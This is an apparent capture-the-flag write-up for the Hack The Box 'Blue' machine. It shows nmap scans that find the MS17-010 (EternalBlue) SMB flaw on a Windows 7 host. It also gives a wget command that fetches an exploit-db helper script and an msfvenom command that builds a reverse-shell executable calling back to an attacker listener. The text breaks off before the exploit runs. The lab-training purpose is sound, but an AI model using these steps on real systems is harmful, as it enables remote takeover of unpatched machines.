Scanning and Enumeration

Scanning

kali@kali:~/HTB/Blue$ nmap -sC -sV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-24 13:40 EST
Nmap scan report for 10.10.10.40
Host is up (0.076s latency).

PORT      STATE SERVICE      VERSION
135/tcp   open  msrpc        Microsoft Windows RPC
139/tcp   open  netbios-ssn  Microsoft Windows netbios-ssn
445/tcp   open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open  msrpc        Microsoft Windows RPC
49153/tcp open  msrpc        Microsoft Windows RPC
49154/tcp open  msrpc        Microsoft Windows RPC
49155/tcp open  msrpc        Microsoft Windows RPC
49156/tcp open  msrpc        Microsoft Windows RPC
49157/tcp open  msrpc        Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: mean: 7m28s, deviation: 1s, median: 7m27s
| smb-os-discovery: 
|   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
|   Computer name: haris-PC
|   NetBIOS computer name: HARIS-PC\x00
|   Workgroup: WORKGROUP\x00
|_  System time: 2020-11-24T18:49:18+00:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2020-11-24T18:49:20
|_  start_date: 2020-11-24T18:41:56

Enumeration

Run a general Vulnerability scan using nmap

kali@kali:~/HTB/Blue$ nmap --script vuln 10.10.10.40
Starting Nmap 7.91 ( https://nmap.org ) at 2020-11-24 13:49 EST
Nmap scan report for 10.10.10.40
Host is up (0.080s latency).
Not shown: 991 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
49152/tcp open  unknown
49153/tcp open  unknown
49154/tcp open  unknown
49155/tcp open  unknown
49156/tcp open  unknown
49157/tcp open  unknown

Host script results:
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: NT_STATUS_OBJECT_NAME_NOT_FOUND
| smb-vuln-ms17-010: 
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|           
|     Disclosure date: 2017-03-14
|     References:
|       https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_      https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 107.45 seconds

This is vulnerablily to ms17-010 aka eternal blue.

 ms17-010

Dowload msmb.py

wget https://raw.githubusercontent.com/offensive-security/exploitdb-bin-sploits/master/bin-sploits/42315.py
mv 42315.py.1 mysmb.py

Exploitation

Next step is to generate executable with MSFVenom

msfvenom -p windows/x64/shell_reverse_tcp -f exe LHOST=10.10.14.34 LPORT=7777 > eternal-blue.exe

Notice this has x64 Architecture, it matters! That is something new that I learned. woah! Next step is to add credentials to the script. You can do that with

enum4linux -a 10.10.10.40

• -a does all simple enumeration

Adding Exploit